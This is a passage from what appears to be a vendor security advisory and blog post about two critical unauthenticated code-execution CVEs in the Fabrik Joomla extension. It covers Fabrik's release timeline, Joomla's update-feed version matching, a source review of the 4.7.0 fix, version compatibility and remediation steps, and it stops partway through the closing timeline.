&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;targetplatform&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;5.[4]&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla takes that &lt;code&gt;version&lt;/code&gt; attribute as a regular expression, anchors it, and tests it against the running Joomla version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;/^&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;currentUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;targetplatform[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;VERSION&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; JVERSION&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That line is in &lt;code&gt;libraries/src/Updater/Adapter/ExtensionAdapter.php&lt;/code&gt;, and it is identical in Joomla 5.1, 5.3 and 6.1. The pattern &lt;code&gt;5.[4]&lt;/code&gt; reads as a 5, then any single character, then a 4. It matches Joomla 5.4.x. It matches nothing else:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;5.4.2&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);   &lt;/span&gt;&lt;span&gt;// 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;5.3.1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);   &lt;/span&gt;&lt;span&gt;// 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;5.1.4&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);   &lt;/span&gt;&lt;span&gt;// 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;/&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;4.4.13&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);  &lt;/span&gt;&lt;span&gt;// 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So on any Joomla site below 5.4, the 4.7.0 entry is discarded before the stability setting is even consulted, and the 4.6.8 entry goes with it. The only entry left that those sites can see is 4.6.3, whose target platform is an empty string and therefore matches everything. Because 4.6.3 is older than whatever they already have installed, Joomla compares the two, finds nothing newer, and reports the site as up to date.&lt;/p&gt;
&lt;p&gt;We described this feed on 13 August as stopping at 4.6.8. That was right about the feed’s contents and wrong about the consequence: for every Joomla version except 5.4, the feed effectively stops at 4.6.3. The same pattern sits on the 4.6.8 entry, so this is not something 4.7.0 introduced, and lowering your stability setting will not fix it.&lt;/p&gt;
&lt;p&gt;Either way the reliable route is a manual install. Log in to fabrikar.com with a current subscription, take the 4.7.0 package from My Download Files, and install it on each site through Extensions, Install. Then check the version the site actually ended up on, because a package that installs without complaint is not the same as a package that installed.&lt;/p&gt;
&lt;p&gt;The changelog history page has moved backwards too: the 4.7.0 entry is gone, and the newest release the page lists is 4.6.8 from 10 August, a version both CVE records say is vulnerable.&lt;/p&gt;
&lt;p&gt;If a colleague checked earlier in the week and reported back that 4.7.0 did not exist, they were reading the site correctly at the time. On 11 August a subscriber posted that the download button was greyed out, and a Fabrik administrator replied that “V4.7.0 is not ready, it is being tested by a few people to make sure it is good. Announcement will be displayed shortly.” The announcement arrived two days later. Someone else has since reported on the release notes thread that listing 4.7.0 with restricted access breaks the updater’s route to 4.6.7 as well, so a site offering you no Fabrik update at all is not telling you it is up to date.&lt;/p&gt;
&lt;h2&gt;The Timeline: Announced, Restricted, Relabelled&lt;/h2&gt;
&lt;p&gt;Eight days, three security releases, two CVEs scored 10.0, one CVE revision, one version number that does not exist, and six days between the fix being written and the people running the software being able to install it. If you are trying to work out why the answer to “what should this site be running” keeps moving, the sequence explains it.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Two threads run through that table.&lt;/p&gt;
&lt;h3&gt;Announced Is Not the Same as Released&lt;/h3&gt;
&lt;p&gt;Fabrik announced 4.7.0 on 13 August, with release notes, a release date and a maturity of Stable, and told people it was a major security release. For the next three days most subscribers could not get it. That is not our inference: on 11 August a subscriber reported the download button greyed out and an administrator answered “V4.7.0 is not ready, it is being tested by a few people to make sure it is good”; on the evening of 13 August, hours after the announcement, another subscriber posted that “adding and restricting access to v4.7 breaks updating from Joomla updater”; and the 16 August post opens by saying it “has been thoroughly tested by a small group of users” before announcing that “in a 1st step we are making it available as a Release Candidate”.&lt;/p&gt;
&lt;p&gt;Put those together and the announcement of 13 August described a build in the hands of a test group as a stable release, on the vendor’s own account of who had it. Anyone reading fabrikar.com that weekend, holding two CVSS 10.0 unauthenticated code execution flaws with no other remedy, was looking at a fix they were told existed and could not obtain.&lt;/p&gt;
&lt;p&gt;What became available on 16 August is a release candidate that Joomla will not show you until you lower your site’s minimum extension stability. So the fix has gone from announced but withheld, to obtainable but formally pre-release.&lt;/p&gt;
&lt;p&gt;There is one more wrinkle, inside the package. Every file in the 4.7.0 download is timestamped &lt;strong&gt;15 August 2026, 06:29&lt;/strong&gt;, two days after the release date its own page gives. Whatever the small test group had on 13 August, the build you can download now was assembled on the 15th.&lt;/p&gt;
&lt;h3&gt;The Announcement Told Attackers Where to Look&lt;/h3&gt;
&lt;p&gt;The release information page went up on 13 August with two pieces of text. The changelog entry, dated &lt;strong&gt;2026-08-10&lt;/strong&gt;, says the release is “a major hardening release against PHP eval attack vectors”. The notes say: “This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.”&lt;/p&gt;
&lt;p&gt;Read that as an attacker. The CVEs had already told you there was an unauthenticated path to code execution in Fabrik, and the revised record had already told you 4.6.8 did not close it. What this page added was two things the CVEs did not say: that the problem is a &lt;strong&gt;class&lt;/strong&gt; of eval attack vectors rather than the two specific ones with numbers attached, and that the thing being changed is &lt;strong&gt;userAjax&lt;/strong&gt;, which names the surface to go and look at.&lt;/p&gt;
&lt;p&gt;That page was public on 13 August. The release it describes did not become generally available until 16 August. For three days it described where the remaining problem was, in a product whose source is closed, to an audience that included everyone except the people who needed to fix their sites.&lt;/p&gt;
&lt;p&gt;Counting from the date on the fix itself, it is worse. The change is dated 10 August. It reached the people running the software on 16 August. That is &lt;strong&gt;six days&lt;/strong&gt; in which the work was done, the nature of it was published, and the sites with two flaws scored 10.0 could do nothing about it. Fabrik’s own instruction throughout was to update immediately.&lt;/p&gt;
&lt;p&gt;There is a second supply problem underneath all of this. A thread running since 8 July has multiple subscribers reporting “Could not open update site” for Fabrik Base on every one of their sites, with valid subscriptions and correct download keys. It is still unresolved. The vendor’s answer on 16 August was “Workaround: download from your My download files on fabrikar.com and install. No idea what is going on on your sites.” Those users have had no working updater route to any Fabrik security release for over a month.&lt;/p&gt;
&lt;h3&gt;And Three Published Pages Were Altered Afterwards&lt;/h3&gt;
&lt;p&gt;Everything Fabrik put out about 4.7.0 on 13 August has since been changed, and the three changes are the clearest evidence of what happened.&lt;/p&gt;
&lt;p&gt;The changelog history entry has been withdrawn. Fabrik listed Fabrik Base Version 4.7.0 on that page on 13 August, dated 2026-08-13, with the “major hardening release against PHP eval attack vectors” note attached, and our release monitoring recorded it at 13:30 UTC. It is not there today, and the newest entry is 4.6.8. The likeliest explanation for the row vanishing is mechanical rather than intended, because that page appears to list stable releases, so demoting 4.7.0 to Release Candidate would drop it off by itself. That makes the missing row independent confirmation of the downgrade rather than a separate act of tidying up. It also leaves the vendor’s own release page telling anyone who checks that the latest Fabrik release is 4.6.8, which both CVE records cover.&lt;/p&gt;
&lt;p&gt;The maturity was changed. Fabrik 4.7.0 went from Stable to Release Candidate with no change to the build, no change to the 13 August release date, and nothing on the page recording that it moved. We read that page on 13 August, published that it said Stable, and emailed it to every account with an affected site. The same URL says something different three days later.&lt;/p&gt;
&lt;p&gt;The release notes thread was retitled, from “Fabrik V4.7.0 Release Notes” to “Fabrik V4.7.0 Release Notes, Release Candidate is now available”. That one is checkable from outside: the URL we linked on 13 August now 301s to the new one. And the 16 August post presents the release candidate as the plan all along, in a thread whose first post three days earlier had called 4.7.0 a major release with no such qualifier.&lt;/p&gt;
&lt;p&gt;None of this would matter much if there were something else to install. There is not. 4.7.0 is the only publicly downloadable release above both CVE ceilings. It is the only thing anyone can actually do about two unauthenticated code execution flaws, both scored 10.0, in an extension whose vulnerable code is on every version ever shipped. Anyone who did manage to get the package between 13 and 16 August installed it on production sites believing it was a stable release, because the alternative was staying on a version the CVE record says is exploitable without a login. The build has not changed. What changed is what the vendor is willing to call it, and the new answer arrives with an instruction to lower your site’s minimum extension stability so Joomla will accept pre-release software.&lt;/p&gt;
&lt;p&gt;Our advice has not changed either, because there is nothing else to point at. Get to 4.7.0. Test it on a sandbox first, which was already the vendor’s advice and matters more now than it did at release.&lt;/p&gt;
&lt;h2&gt;We Read the Fabrik 4.7.0 Code, and the Fix Is Real&lt;/h2&gt;
&lt;p&gt;Fabrik 4.x has never had public source. The GitHub repository stops at 3.10 from 2021, the vendor’s own “GitHub” footer link points at a Bitbucket repository that 404s, and 4.x ships only to subscribers. So no one outside the vendor’s test group has been able to check whether any of the three security releases did what they claimed.&lt;/p&gt;
&lt;p&gt;We obtained the 4.7.0 package and read it. Its SHA-256 is &lt;code&gt;b1d79d144a23142704f6524947ffd6f8d705bf38f85cb65ba9c9b7472d8e8316&lt;/code&gt;, which matches the &lt;code&gt;sha256&lt;/code&gt; Fabrik publishes in its own Joomla update feed, so this is the release itself and not something reconstructed.&lt;/p&gt;
&lt;p&gt;After two fixes that did not hold, this one does. It addresses the class of bug rather than the instance.&lt;/p&gt;
&lt;h3&gt;What actually changed&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; now appears in &lt;strong&gt;two files out of 869&lt;/strong&gt;, and everything routes through one helper, &lt;code&gt;Fabrik\Helpers\Php::Eval()&lt;/code&gt;, reached from 61 places.&lt;/p&gt;
&lt;p&gt;The old design took the site builder’s PHP expression, substituted the visitor’s submitted data into it as text, then evaluated the result. That is what turned data into code, and it is why an anonymous request could run PHP on the server.&lt;/p&gt;
&lt;p&gt;4.7.0 inverts it. The helper compiles the site builder’s code once into a cached class, then &lt;strong&gt;passes the visitor’s data in as bound PHP variables&lt;/strong&gt; instead of splicing it into the source. Data that is never concatenated into code cannot become code, whatever it contains. All 61 call sites use that route.&lt;/p&gt;
&lt;p&gt;Where placeholders do still expand into code, the substituted value is written out with &lt;code&gt;var_export()&lt;/code&gt;, so a submitted value arrives as a quoted PHP literal rather than as syntax.&lt;/p&gt;
&lt;p&gt;They also caught the trap that a naive version of that fix leaves behind. If the site builder’s own expression already has the placeholder inside a quoted string, wrapping it in fresh quotes either produces broken code or escapes for the wrong quote character. The new code runs &lt;strong&gt;PHP’s own tokenizer&lt;/strong&gt; over the expression to establish the quote context at that exact byte offset, then escapes for the quotes that are already there. A comment in the file records that an earlier attempt missed this case.&lt;/p&gt;
&lt;p&gt;The most telling line is the vendor’s own note on why the earlier fixes failed:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Vendor&apos;s comment in the 4.7.0 source&lt;/p&gt;&lt;div&gt;&lt;p&gt;“textual splicing of request/row data into eval’d code is unsafe, htmlspecialchars alone does not stop it”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is the 4.6.7 and 4.6.8 story in a sentence. Escaping for HTML does nothing to a payload that never needed a quote character in the first place.&lt;/p&gt;
&lt;p&gt;The list filter path, the second CVE, is closed the same way, and its guard is switched on by exactly the condition that decides whether the evaluation happens at all. That pairing is the detail these fixes usually get wrong.&lt;/p&gt;
&lt;h3&gt;What we did not find&lt;/h3&gt;
&lt;p&gt;No remaining route from an unauthenticated request to code execution. No &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;create_function&lt;/code&gt; or &lt;code&gt;unserialize&lt;/code&gt; reached by request data anywhere in the package. The one place that could build a &lt;code&gt;require_once&lt;/code&gt; out of a string is fed by an administrator-only setting, filtered to alphanumerics and confined to a fixed directory.&lt;/p&gt;
&lt;h3&gt;Three things weaker than the release notes suggest&lt;/h3&gt;
&lt;p&gt;The release notes say every AJAX call must now have a session token and a proper Content-Type. There is a real gate, and it runs as the first statement of every front-end controller entry point, which is the right place for it. Three details matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The token is enforced only on requests that are &lt;strong&gt;not GET&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The Content-Type check applies only to POST.&lt;/li&gt;
&lt;li&gt;The Referer check is skipped entirely when the browser sends no Referer header.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So an anonymous GET still reaches the calc endpoint. That is no longer a way in, because what it used to lead to is closed, but the token is not the barrier the release notes imply and it should not be the thing you rely on.&lt;/p&gt;
&lt;h3&gt;The caveat on all of this&lt;/h3&gt;
&lt;p&gt;This is a source review, not a live exploitation test. We traced every path from request input to every remaining evaluation. We did not stand up a site and fire the old payloads at it. A negative result from reading is weaker than a negative result from trying. What we can say is that the mechanism behind both CVEs has been removed rather than patched around, and that a future call site cannot reintroduce it by forgetting to escape, because escaping is no longer how it works.&lt;/p&gt;
&lt;h2&gt;How Serious Is This Really?&lt;/h2&gt;
&lt;p&gt;The Joomla CNA scored it &lt;strong&gt;10.0 Critical&lt;/strong&gt; on CVSS 4.0, the maximum. The vector says the attack comes over the network, needs no privileges, needs no user interaction, and produces high confidentiality, integrity and availability impact both on the vulnerable component and on the wider system. That is the score to work from.&lt;/p&gt;
&lt;p&gt;The nuance is about reach rather than severity. Reaching the flaw needs the site to publish a Fabrik form or list that an anonymous visitor can load, and that form needs a calc element with the AJAX option enabled. A Fabrik install used only behind a login, or one with no calc elements, is a smaller target than the score alone implies.&lt;/p&gt;
&lt;p&gt;That nuance is close to useless as an operational filter, for two reasons. Public forms are the ordinary use of Fabrik, not an edge case, and a site builder who wanted a login-only tool would usually reach for something simpler. And there is no practical way to audit “does any published form on this site contain an AJAX-enabled calc element” across more than a handful of sites without opening every form on every site by hand. Treat every install below 4.7.0 as affected, because you cannot cheaply prove otherwise, and because the list filter flaw is reached through a different surface again.&lt;/p&gt;
&lt;p&gt;The second flaw removes even that much comfort. List filters are the controls that narrow a Fabrik list, so &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67282/&quot;&gt;CVE-2026-67282&lt;/a&gt; does not depend on calc elements or on the AJAX option at all. A site with no calc element anywhere, which was the smaller target under the first flaw, is squarely in scope for the second.&lt;/p&gt;
&lt;p&gt;No one had reported exploitation in the wild when this post was last updated on 16 August 2026, and neither CVE has a CISA Known Exploited Vulnerabilities entry. Neither of those is reassuring on its own. An unauthenticated flaw that ends in code execution is the profile that attracts mass scanning quickly, and Joomla extension flaws of exactly this class have gone from disclosure to automated exploitation inside a week several times this year.&lt;/p&gt;
&lt;h2&gt;How to Fix Your Joomla Sites Running Fabrik&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Find every site running Fabrik and check the version.&lt;/strong&gt; Anything below 4.7.0 is affected, including the sites you updated to 4.6.7 or 4.6.8 last week. The component shows as &lt;code&gt;com_fabrik&lt;/code&gt; in Joomla’s extension manager.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Confirm the Fabrik subscription is current.&lt;/strong&gt; Both update routes, Joomla’s updater and direct download, check it. This is worth doing first, because discovering a lapsed subscription halfway through an update run across several sites wastes an afternoon.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test 4.7.0 on a sandbox before you touch anything live.&lt;/strong&gt; Fabrik states that 4.7.0 breaks any userAjax calls you use, and that FullCalendar and Paypal need updating to current versions alongside it. Find out which of your applications depend on those on a copy, not on the site your client is looking at.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Fabrik 4.7.0 by hand.&lt;/strong&gt; Joomla’s updater will not show it at default settings, and on any Joomla below 5.4 it will not show it at all. Download the package from My Download Files on fabrikar.com with a current subscription, then install it through Extensions, Install on each site and check the version you actually ended up on afterwards. If 4.7.0 is not there or the download is greyed out, that is the restricted access other subscribers have been reporting since 13 August rather than a problem with your account, and the forum announcement thread is where the vendor has been posting about it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deal with the sites that cannot take it.&lt;/strong&gt; See the next section. Joomla 3 sites now have a manual patch for the calc element flaw. Unpublishing public Fabrik forms and lists reduces exposure while you decide, though it is a stopgap rather than a fix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check exposed sites for compromise.&lt;/strong&gt; Updating stops the next attempt and tells you nothing about whether one already succeeded. An unauthenticated flaw leaves no failed logins and no audit trail. Look for administrator accounts you did not create, recently modified or unfamiliar PHP files, and scheduled tasks no one added. Our post on &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts across every Joomla site&lt;/a&gt; covers the account side, and &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;reinfection through crontabs&lt;/a&gt; covers a persistence route people routinely miss.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Not Every Joomla Site Can Install the Fabrik Fix&lt;/h2&gt;
&lt;p&gt;This is the part that turns a straightforward update into a project. Fabrik’s installation notes say 4.7.0 installs on &lt;strong&gt;Joomla 4.2 and above, and Joomla 5.1 and above&lt;/strong&gt;, the same window as 4.6.7 and 4.6.8 before it. The forum announcement adds that &lt;strong&gt;Fabrik 4 will not install on Joomla 6&lt;/strong&gt;. So the fixed releases have a compatibility window of Joomla 4.2 to Joomla 5.x, and sites at either end of that window are stuck.&lt;/p&gt;
&lt;p&gt;Below the window sit the Joomla 3 sites. They run the Fabrik 3.x line, whose last release was &lt;strong&gt;3.10 in August 2021&lt;/strong&gt;. The calc element’s AJAX evaluation path is present in that code, the &lt;code&gt;joomla3&lt;/code&gt; branch of the public repository has had no commits since 2016, and there is no patched version for those sites to move to. Fabrik has now confirmed there never will be, and explained why:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fabrik: no F3 release will ever ship&lt;/p&gt;&lt;div&gt;&lt;p&gt;“Because F4 and F5 are complete rewrites of F3, none of this work will be backported to the F3 codebase. Please also note that we do not own the F3 source repository and have no way to commit to it or publish new F3 releases, it was abandoned by its original developers many years ago.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Above the window sit the Joomla 6 sites, which the vendor’s own announcement rules out in one line.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites we manage, this splits the affected population roughly two to one against being able to fix it by updating:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Share of the affected Fabrik sites we see&lt;/th&gt;&lt;th&gt;Can install 4.7.0?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 2.5&lt;/td&gt;&lt;td&gt;1%&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;61%&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;6%&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;31%&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;1%&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Of the sites still short of 4.7.0, &lt;strong&gt;roughly two thirds are on a Joomla version the fix does not support&lt;/strong&gt;. The single most common configuration we see is Fabrik 3.10 on Joomla 3.10, which is a site running the newest version each project ever shipped for that generation, and exposed anyway.&lt;/p&gt;
&lt;h3&gt;Fabrik 3 Now Has a Manual Patch&lt;/h3&gt;
&lt;p&gt;This changed on 11 August 2026, and it is the one piece of good news in the sequence. After a subscriber asked on the forum for something their Joomla 3 clients could use while migrations were in progress, a Fabrik administrator published a &lt;a href=&quot;https://joomla3security.com/vendors/fabrik/&quot;&gt;&lt;strong&gt;manual source patch for the Fabrik 3 code&lt;/strong&gt;&lt;/a&gt;, covering the calc element flaw. It is a single line in &lt;code&gt;plugin/fabrik_element/calc/calc.php&lt;/code&gt;, adding two arguments to the existing &lt;code&gt;parseMessageForPlaceHolder&lt;/code&gt; call so that the placeholder replacement runs in its escaped mode.&lt;/p&gt;
&lt;p&gt;Read the &lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/f3-users-security-update.55752/&quot;&gt;forum thread&lt;/a&gt; before you touch a file, and note the correction in the reply: the method name in the original post has a typo, and the working line uses &lt;code&gt;parseMessageForPlaceHolder&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Three caveats, all of them the vendor’s own:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is offered &lt;strong&gt;as-is, with no warranty&lt;/strong&gt;. No one is supporting this on your site.&lt;/li&gt;
&lt;li&gt;It covers the &lt;strong&gt;calc element flaw only&lt;/strong&gt;. Fabrik states that the second attack vector, the list filter one patched in 4.6.8, &lt;strong&gt;does not affect Fabrik 3&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Fabrik still &lt;strong&gt;strongly urges migration to Fabrik 4&lt;/strong&gt;, and a hand-edited file is not a maintained release.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take it as a stopgap that buys you time on the largest group of affected sites, which is roughly three in five of everything we can see. It is not a reason to stop planning the migration.&lt;/p&gt;
&lt;h3&gt;The Sites With No Path At All&lt;/h3&gt;
&lt;p&gt;If you have Joomla 6 sites running Fabrik, or Joomla 3 sites where hand-editing a plugin file is not something you are willing to take on, there are three honest options and no comfortable ones. Remove Fabrik, if the application it powers can be retired or rebuilt. Move the site onto Joomla 4.2 to 5.x, which is the work you were putting off anyway and now has a deadline attached. Or accept the risk knowingly, with public Fabrik forms and lists unpublished, which is a holding position rather than a solution. Joomla 3 has been end of life since August 2023, and this is the ordinary way that debt gets called in, through a third-party extension whose vendor has moved on to the next Joomla generation. We have written before about &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;what is realistically available to sites still on Joomla 3&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Finding Every Fabrik Install Across Your Joomla Sites&lt;/h2&gt;
&lt;p&gt;Doing this by hand means logging in to each Joomla site, opening the extension manager, searching for Fabrik and writing the version down. For one site that is two minutes. For fifty it is an afternoon you will not get back, and you will still not be certain you checked them all.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site. Search the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;extension inventory&lt;/a&gt; for Fabrik once and you get back every site running it, the version each one is on, and whether an update is available, on one screen. Sites running a version flagged on our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; are marked automatically, so a site that drifts onto an affected version later gets flagged without anyone remembering to look.&lt;/p&gt;
&lt;p&gt;For this particular flaw the inventory answers the second question too. Because it records the Joomla version alongside the extension version, you can separate the sites that just need an update from the sites that need a migration decision, which is the split that actually determines how much work you are looking at.&lt;/p&gt;
&lt;p&gt;If a site turns out to have been compromised, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a fixed fee of £120 per incident, usually same day. Sites are screened before we commit, so you are not charged in the very rare case that it cannot be fixed, and non-subscribers get a free month. There is more on recovery in our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked&lt;/a&gt; guide.&lt;/p&gt;
&lt;h2&gt;Fabrik Has Been a Target Before&lt;/h2&gt;
&lt;p&gt;Fabrik has had three earlier CVEs before this month’s pair, and the pattern is worth knowing if you have run it for a long time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2010-1981&lt;/strong&gt;, a directory traversal in com_fabrik 2.0 allowing arbitrary file reads&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2011-5004&lt;/strong&gt;, an unrestricted file upload in the CSV import model, fixed before 2.1.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2018-10727&lt;/strong&gt;, a reflected cross-site scripting flaw through a hidden referrer field, affecting versions through 3.8.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Joomla Vulnerable Extensions List also has a resolved entry for “fabrik 3.9, Various Issues”, published in May 2020 and fixed in 3.9.1. Neither of this month’s CVEs was on the VEL when we last checked it, on 13 August 2026.&lt;/p&gt;
&lt;p&gt;There is also one recent release that never got a CVE at all. Fabrik 4.6.3, released on 25 February 2026, has a changelog line reading simply “Security fix” with no further detail, under the same “This is a security release, please update immediately” note that 4.6.7 uses. Nothing has been published about what it closed. That is worth knowing if you are the sort of person who skips point releases on an extension that seems to be ticking over without incident, because four times this year a Fabrik release has been the security update, and the CVE numbers arrived days later or not at all.&lt;/p&gt;
&lt;p&gt;The 2011 upload flaw is the one that left a mark. Several public auto-exploiter tools targeting &lt;code&gt;com_fabrik&lt;/code&gt; are still sitting on GitHub, written years ago against that bug. They are irrelevant to this CVE, but they are a reminder that a Joomla extension with a long history and a shell-upload flaw in its past stays on scanners’ lists long after the flaw is fixed.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-09&lt;/strong&gt; Fabrik 4.6.7 ships as a security release for the calc element &quot;This is a security release, please update immediately&quot;, with a forum announcement that evening. It did not close the flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-10&lt;/strong&gt; CVE-2026-66915 is published at CVSS 4.0 10.0, and 4.6.8 follows The record lists 1.0.0 to 4.6.6 as affected and 4.6.7 as fixed. Later the same day Fabrik releases 4.6.8 for a second flaw, in list filters, under the same update-immediately note. We email every affected account telling them to go to 4.6.8.&lt;/li&gt;
